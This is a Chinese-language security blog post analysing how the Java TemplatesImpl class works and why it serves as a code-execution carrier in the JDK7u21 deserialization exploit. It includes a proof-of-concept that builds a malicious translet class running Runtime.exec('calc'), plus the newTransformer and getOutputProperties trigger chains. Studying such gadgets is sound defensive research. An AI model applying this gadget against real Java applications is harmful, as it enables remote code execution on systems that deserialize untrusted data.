【技术分享】由JDK7u21反序列化漏洞引起的对TemplatesImpl的深入学习

VSole2021-07-23 16:02:02

最近在分析JDK7u21反序列化漏洞,对命令执行载体com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的利用点不太明白。除了JDK7u21,TemplatesImpl在很多反序列化漏洞中都被利用了,所以想要深入探究下它到底是做什么用的,有什么特性被利用。接下来本文将从这两个问题进行探索学习。

了解Templateslmpl

1、XSLT

在开始前首先了解下XSLT:

XSL 指扩展样式表语言(EXtensible Stylesheet Language), 它是一个 XML 文档的样式表语言,类似CSS之于HTML;

XSLT(Extensible Stylesheet Language Transformations)是XSL转换语言,它是XSL的一部分,用于转换 XML 文档,可将一种 XML 文档转换为另外一种 XML 文档,如XHTML;

简化版XSLT实例:

我们从一个例子来了解下XSLT,将XML转为HTML格式展示。

XML:cdcatalog.xml,保存了文章数据包括文章标题、作者等。

<catalog>  <cd>    <title>EmpireBurlesquetitle>    <artist>BobDylanartist>    <country>USAcountry>    <company>Columbiacompany>    <price>10.90price>    <year>1985year>  cd>  <cd>    <title>Hideyour hearttitle>    <artist>BonnieTylerartist>    <country>UKcountry>    <company>CBSRecordscompany>    <price>9.90price>    <year>1988year>  cd>catalog>

XSL:cdcatalog.xsl

XSL 样式表的根元素是  或 ;

元素定义了输出文档的格式;

XSL 样式表由一个或多个被称为模板(template)的规则组成, 元素用于构建模板。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">        <xsl:outputmethod="html" version="4.0" encoding="iso-8859-1"indent="yes"/>    <xsl:templatematch="/">       <html>           <body>                <h2>My CD Collectionh2>                <table border="1">                    <tr>                        <th style="text-align:left">Titleth>                        <th style="text-align:left">Artistth>                    tr>                    <xsl:for-each select="catalog/cd">                        <tr>                            <td><xsl:value-ofselect="title"/>td>                            <td><xsl:value-ofselect="artist"/>td>                        tr>                    xsl:for-each>                table>           body>       html>    xsl:template>xsl:stylesheet>

转换结果如下,读取xml的元素并展示为html格式:

2、javax.xml.transform.Templates

TemplatesImpl实现了javax.xml.transform.Templates接口,javax.xml.transform属于JAXP(Java API forXMLProcessing,提供解析和验证XML文档的能力),是一个处理XSL转换(XSLT)的包,定义了用于处理转换指令以及执行从源到结果的转换的API。javax.xml.transform.Templates是用来处理XSLT模板的,它只定义了两个方法:

3、XSLTC和Translets

TemplatesImpl在com.sun.org.apache.xalan.internal.xsltc包下,xalan是Apache的一个项目,是XSLT处理器。

XSLTC指xslt compiler或xslt compiling,可以把XSLT文件编译成一个或者多个Java的class文件,通过这种方式可以加速xsl的转换速度。这些class或者class的集合被称为Translets,他们被转换时自动会继承AbstractTranslet。

利用Xalan命令行工具(注意使用jdk1.8以前版本)将XSLT文件转为class:


javacom.sun.org.apache.xalan.internal.xsltc.cmdline.Compile cdcatalog.xsl

执行命令后会在文件夹下生成一个class文件:

4、TemplatesImpl类解读

TemplatesImpl主要是通过获取Translet的Class或字节码来创建 XSLTC 模板对象。根据上面第3点的学习这里不难理解,XSLTC生成的Translets,需要转为模板对象,可以用TemplatesImpl定义和处理。

public final class TemplatesImpl implementsTemplates, Serializable

4.1、静态内部类TransletClassLoader:

TemplatesImpl通过获取Translet的Class或字节码来创建 XSLTC 模板对象,需要在运行时加载class,因此其在内部自定义了一个静态类TransletClassLoader用来加载Translet的Class对象,并且重载了loadClass和defineClass方法。

我们知道ClassLoader的loadClass通过一个类名全称返回一个Class类的实例;

而defineClass通过接收一组字节,然后将其具体化为一个Class类的实例,它一般从磁盘上加载一个文件,然后将文件的字节码传递给JVM,通过JVM(native 方法)对于Class的定义将其实例化为一个Class类的实例。

static final class TransletClassLoader extendsClassLoader {    privatefinal Map<String,Class> _loadedExternalExtensionFunctions;      TransletClassLoader(ClassLoaderparent) {        super(parent);       _loadedExternalExtensionFunctions = null;    }    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {       super(parent);       _loadedExternalExtensionFunctions = mapEF;    }     publicClass loadClass(String name) throws ClassNotFoundException {       Class ret = null;       // 当SecurityManager未设置且FSP关闭时,_loaddexternalextensionfunctions将为空       if (_loadedExternalExtensionFunctions != null) {            ret =_loadedExternalExtensionFunctions.get(name);       }       if (ret == null) {           // 调用super.loadClass,通过类全称获取Class类实例           ret = super.loadClass(name);       }       return ret;    }     //从外部类访问protected修饰的父类方法。    ClassdefineClass(final byte[] b) {       // 调用super.defineClass,通过字节码来获取Class类实例       return defineClass(null, b, 0, b.length);    }}

4.2、属性说明:

4.3、构造方法解析:

TemplatesImpl提供了两个有参构造方法都是protected,如果TemplatesImpl要实例化,需要通过内部方法进行调用。

构造方法1:通过字节码创建template对象,必须提供translet和辅助类的字节码,以及主translet类的名称。

protected TemplatesImpl(byte[][] bytecodes,String transletName, Properties outputProperties, int indentNumber,TransformerFactoryImpl tfactory){   _bytecodes = bytecodes;   init(transletName, outputProperties, indentNumber, tfactory);}

构造方法2:通过translet类创建XSLTC模板对象。

protected TemplatesImpl(Class[]transletClasses, String transletName, Properties outputProperties, intindentNumber, TransformerFactoryImpl tfactory){   _class     = transletClasses;   _transletIndex = 0;   init(transletName, outputProperties, indentNumber, tfactory);}

4.4、Templates接口方法实现:

首先是Templates接口的两个方法:newTransformer和getOutputProperties,newTransformer会调用TransformerImpl有参构造方法。

// 实现JAXP's Templates.newTransformer()public synchronized Transformer newTransformer()    throwsTransformerConfigurationException{   TransformerImpl transformer;     //调用TransformerImpl构造函数创建一个TransformerImpl实例   transformer = new TransformerImpl(getTransletInstance(), _outputProperties,       _indentNumber, _tfactory);     if(_uriResolver != null) {       transformer.setURIResolver(_uriResolver);    }     if(_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {       transformer.setSecureProcessing(true);    }    returntransformer;} // 实现了JAXP的Templates.getOutputProperties()。需要实例化一个translet以获得输出属性,因此我们可以实例化一个Transformer来调用它。public synchronized Properties getOutputProperties(){    try{       return newTransformer().getOutputProperties();    }    catch (TransformerConfigurationException e) {       return null;    }}

4.5、方法说明:

5、XML-XSLT-HTML在Java中的转换实例

接下来我们看一个XML-XSLT-HTML的常规转换例子,通过这个例子我们可以知道转换在Java中实现的步骤。

import javax.xml.transform.*;import java.io.FileNotFoundException;import java.io.FileOutputStream; public class TestTmp {     publicstatic void main(String[] args) throws TransformerException,FileNotFoundException {       new TestTmp().testTransform();    }     publicvoid testTransform() throws TransformerException, FileNotFoundException {       /*---- 1、使用TransformFactory的newInstance方法创建一个新的实例。-------------------*/       // TransformFactory的缺省实现是com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl类       TransformerFactory oFactory = TransformerFactory.newInstance();        /*---- 2、使用TransformFactory的newTemplates方法创建一个Templates界面的实现对象。-------------------*/       //Templates的缺省实现 是org.apache.xalan.templates.StylesheetRoot       Templates oTemplates = oFactory.newTemplates(                //使用一个StreamSource对象来读取一个xsl文档                newjavax.xml.transform.stream.StreamSource("cdcatalog.xsl")       );        /*---- 3、使用Templates的newTransformer方法创建一个新的Transformer。-------------------*/       //Transformer的缺省实现是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl       Transformer transformer = oTemplates.newTransformer();         /*---- 4、使用Transformer进行转换。-------------------*/       transformer.transform(                //创建一个StreamSource对象来读取atom.xml                newjavax.xml.transform.stream.StreamSource("cdcatalog.xml"),                //使用out作为输出writer创建一个StreamResult输出转换结果。                newjavax.xml.transform.stream.StreamResult(new FileOutputStream("E:\\1.html")));    }}

执行上面代码最终会在文件夹下生成一个1.html文件,1.html跟上述第一部分的示例转换结果一致。

通过上面代码,我们可以总结出一个XML-XSLT-HTML的转换在Java中一般有以下4个步骤:

  • 创建一个TransformFactory对象;
  • 调用TransformFactory.newTemplates通过XSL样式表创建一个Templates对象;
  • 调用Templates.newTransformer创建一个Transformer对象;
  • 最后通过Transformer.transform将源-XML文档转换为目标-HTML文档。

其中需要注意的是以上接口的缺省实现都是Xalan提供的com.sun.org.apache.xalan库内对应的实现类来创建对象。

TransformFactory.newTemplates通过XSL样式表创建一个Templates对象,其实现主要由三个部分:

  • 如果_useClasspath属性为true,则尝试从CLASSPATH加载文件,并使用XSL样式表文件加载后的Class创建模板对象:调用new TemplatesImpl(new Class[]{clazz}, transletName, null,_indentNumber, this);
  • 如果_autoTranslet为true,将尝试在不编译样式表的情况下从translet类加载字节码来创建对象;
  • 以上两种条件不满足,直接创建并初始化样式表编译器来编译样式表,生成字节码,通过字节码创建模板对象。

被反序列化漏洞利用的特性

清楚了TemplatesImpl的方法和使用方式,接下来这部分我们探索下它跟反序列化漏洞的关系。

1、JDK7u21的TemplatesImpl利用测试

我们将JDK7u21分析poc的returntemplates;改为templates.newTransformer()进行测试。

public void testTemplate() throws Exception{    //1、通过javassist创建一个Evil类的字节码,设置它的构造方法内部调用exec方法   ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器   CtClass cc = pool.makeClass("Evil");//创建Evil类   cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet   CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数   cons.setBody("{ Runtime.getRuntime().exec(\"calc\");}");//设置无参构造函数体   cc.addConstructor(cons);    byte[]byteCode = cc.toBytecode();//toBytecode得到Evil类的字节码    byte[][]targetByteCode = new byte[][]{byteCode};    //2、创建一个TemplatesImpl对象,设置属性_bytecodes值为Evil类的字节码   TemplatesImpl templates = TemplatesImpl.class.newInstance();   setFieldValue(templates, "_bytecodes", targetByteCode);//设置_bytecodes是属性   setFieldValue(templates, "_class", null);   setFieldValue(templates, "_name", "xx");   setFieldValue(templates, "_tfactory", newTransformerFactoryImpl());    //3、调用newTransformer()   templates.newTransformer();} //通过反射为obj的属性赋值private static void setFieldValue(finalObject obj, final String fieldName, final Object value) throws Exception {   Field field = obj.getClass().getDeclaredField(fieldName);   field.setAccessible(true);   field.set(obj, value);}

调用上述testTemplate方法,最终会弹出计算器:

为什么能够执行Runtime.getRuntime().exec(\"calc\"),关键点在于第3步templates.newTransformer();,接下来重点分析下。

2、newTransformer()分析:

2.1、newTransformer

根据4.4我们知道newTransformer()会调用TransformerImpl构造函数创建实例:new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory),getTransletInstance()会返回Translet类的实例;

2.2、getTransletInstance

getTransletInstance在一开始时对_name和_class实现进行了判断,当_name不为null而_class是null就会调用defineTransletClasses来获取Translet的Class对象,接着会调用newInstance实例化Translet。

//如果_name属性为null返回Translet是nullif (_name == null) return null;// 如果_class属性是null调用defineTransletClassesif (_class == null)defineTransletClasses();// 当属性_class被赋值,即要转换的样式表class文件translet类存在,通过translet类来实例化AbstractTranslet translet =(AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setOverrideDefaultParser(_overrideDefaultParser);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {    //translet需要保留对所有辅助类的引用,以防止GC收集它们   translet.setAuxiliaryClasses(_auxClasses);} return translet;

2.3、defineTransletClasses:

defineTransletClasses用来定义translet类和辅助类,会创建一个内部类TransletClassLoader的对象,通过该对象调用defineClass,根据之前4.1的分析我们知道defineClass会调用Java虚拟机的native方法生成一个Translet类的Class对象。所以到这里我们最终能够获取到Evil字节码生成的Class对象,再经过2.2AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()对Evil类进行实例化,最终能够执行命令弹出计算器。以下是defineTransletClasses的关键代码摘取:

// 字节码未定义抛出异常if (_bytecodes == null) {   ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);    thrownew TransformerConfigurationException(err.toString());} //创建一个内部类TransletClassLoader的对象TransletClassLoader loader =(TransletClassLoader)    //注意_tfactory.getExternalExtensionsMap()调用TransformerFactoryImpl的getExternalExtensionsMap,因此_tfactory我们要注意赋值,并且是TransformerFactoryImpl的实例   AccessController.doPrivileged(new PrivilegedAction() {       public Object run() {return newTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}}); // 循环定义所有类,包括translet主类和它的内部类_class = new Class[classCount];for (int i = 0; i < classCount; i++) {    //关键点 调用TransletClassLoader.defineClass通过字节码定义类   _class[i] = loader.defineClass(_bytecodes[i]);    finalClass superClass = _class[i].getSuperclass();    //通过ABSTRACT_TRANSLET判断是否是主类    if(superClass.getName().equals(ABSTRACT_TRANSLET)) {       _transletIndex = i;    }    else{       _auxClasses.put(_class[i].getName(), _class[i]);    }}

2.4、小结

通过前面3步的分析,执行恶意代码需要两个条件:一是调用defineTransletClasses获取Evil的Class对象,二是将Class对象实例化调用构造方法。

另外我们也能明白上面的属性为什么要被这样赋值:

  • _bytecodes被赋值为我们定义的恶意类的字节码,该类需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet(对应2.3的代码分析)
  • _class必须为null(对应2.2的分析)
  • _name必须不为null(对应2.2的分析)
  • _tfactory必须是TransformerFactoryImpl实例(对应2.3的代码分析)

3、由newTransformer()进行拓展

阅读wEik1的分析后发现还可以拓展:

既然只要调用defineTransletClasses就能获取指定字节码定义的类的对象,那我们可以在TemplatesImpl类通过搜索寻找有没有其它方法调用defineTransletClasses。搜索后发现一共有3个方法(包括getTransletInstance)调用defineTransletClasses:

private Translet getTransletInstance()public synchronized int getTransletIndex()private synchronized Class[] getTransletClasses()

经过第2.4小结我们可以排除getTransletIndex和getTransletClasses,因为它们仅调用了getTransletInstance并没有进行实例化。那我们将目光聚集在getTransletInstance,它在内部除了被newTransformer()调用,也没有其它直接被调用的情况了,因此也被排除。本来到这里应该结束了,但我们不能忽略一点-newTransformer的调用,可以考虑通过newTransformer的调用来进行利用。newTransformer在内部有被getOutputProperties调用,getOutputProperties是public方法,并且getOutputProperties在内部不再被调用,因此总结下来共2个链可以实现恶意类的实例化:

newTransformer()->getTransletInstance()->defineTransletClasses()getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()

总结与思考

通过本次学习我们了解了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl本身是用来进行xsl转换的,主要通过XSLTC接收xsl文档生成的Translets类的字节码来创建 XSLTC模板对象。那么由于需要处理字节码,其在内部定义了类加载器并重载了defineClass,defineClass能够返回字节码的Class对象方便后续的实例化,而这也是我们能够利用它执行恶意代码的关键。

通过构造恶意类的字节码并使用defineClass返回其Class对象,实例化后即可执行我们想要的结果。继续思考,我们可以想到Java是否还存在类似的类(内部定义了类加载器并重载了defineClass)能被我们利用,这里不展开了可自行探索。

参考链接

https://xalan.apache.org/xalan-j/apidocs/org/apache/xalan/xsltc/trax/TemplatesImpl.html

https://www.runoob.com/xsl/xsl-transformation.html

https://docs.oracle.com/javase/7/docs/api/javax/xml/transform/Templates.html

https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/

http://terpconnect.umd.edu/~zhangx/xml/html/xmlprog/xalan/xsltc.html

https://blog.csdn.net/z_dy1/article/details/104427617

xml格式字节码
本作品采用《CC 协议》,转载必须注明作者和本文链接
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
本篇文章是WebLogic中间件漏洞复现,记录了近几年来爆出的WebLogic中间件漏洞主要分为六个部分:WebLogic简介、WebLogic安装、WebLogic漏洞复现、WebLogic SSRF联动Redis、WebLogic实战和WebLogic防御措施。
最近在分析JDK7u21反序列化漏洞,对命令执行载体com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的利用点不太明白。
一文看懂内存
2022-01-02 22:31:21
它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。该方法在Filter的生命周期中仅执行一次。
Java反序列化是java安全的基础,想要学好java反序列化,就不能只看看相关文章,要自己动手实践,看看java反序列化到底是怎么回事。JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端的JavaScript通过JSON和后端服务通信、微信服务器通过XML和公众号服务器通信。快速入门Java Serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。
直到前一段时间,有小伙伴反馈重打包某APP,始终失败,几乎放弃,原因是DEX中出现了很多非法花指令,他解包时所有的DEX都需要反编译,由于非法指令太多,回编译后的APK始终无法正常使用。随着字节指令级的对抗升级,这种问题或许会越来越普遍。针对这种问题,最终极的解决方法就是不反编译,直接给DEX文件中的指令打补丁,但其中牵扯到指令格式、局部寄存器、各种索引问题需要解决,并非易事。
unserialize()函数能够重新把字符串变回php原来的值。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。将对象格式化成有序的字符串。序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
HW蓝队初级面试总结
2022-10-12 07:00:02
一、sql注入原理、分类、绕过原理:产生sql注入漏洞主要因为没有对接受到的参数进行过滤、验证和处理直接拼接到了sql语句中,然后直接执行该sql语句,这样就会导致恶意用户传入一些精心构造的sql代码,与后台sql语句拼接后形成完整的sql语句执行,达到攻击者的目的。
VSole
网络安全专家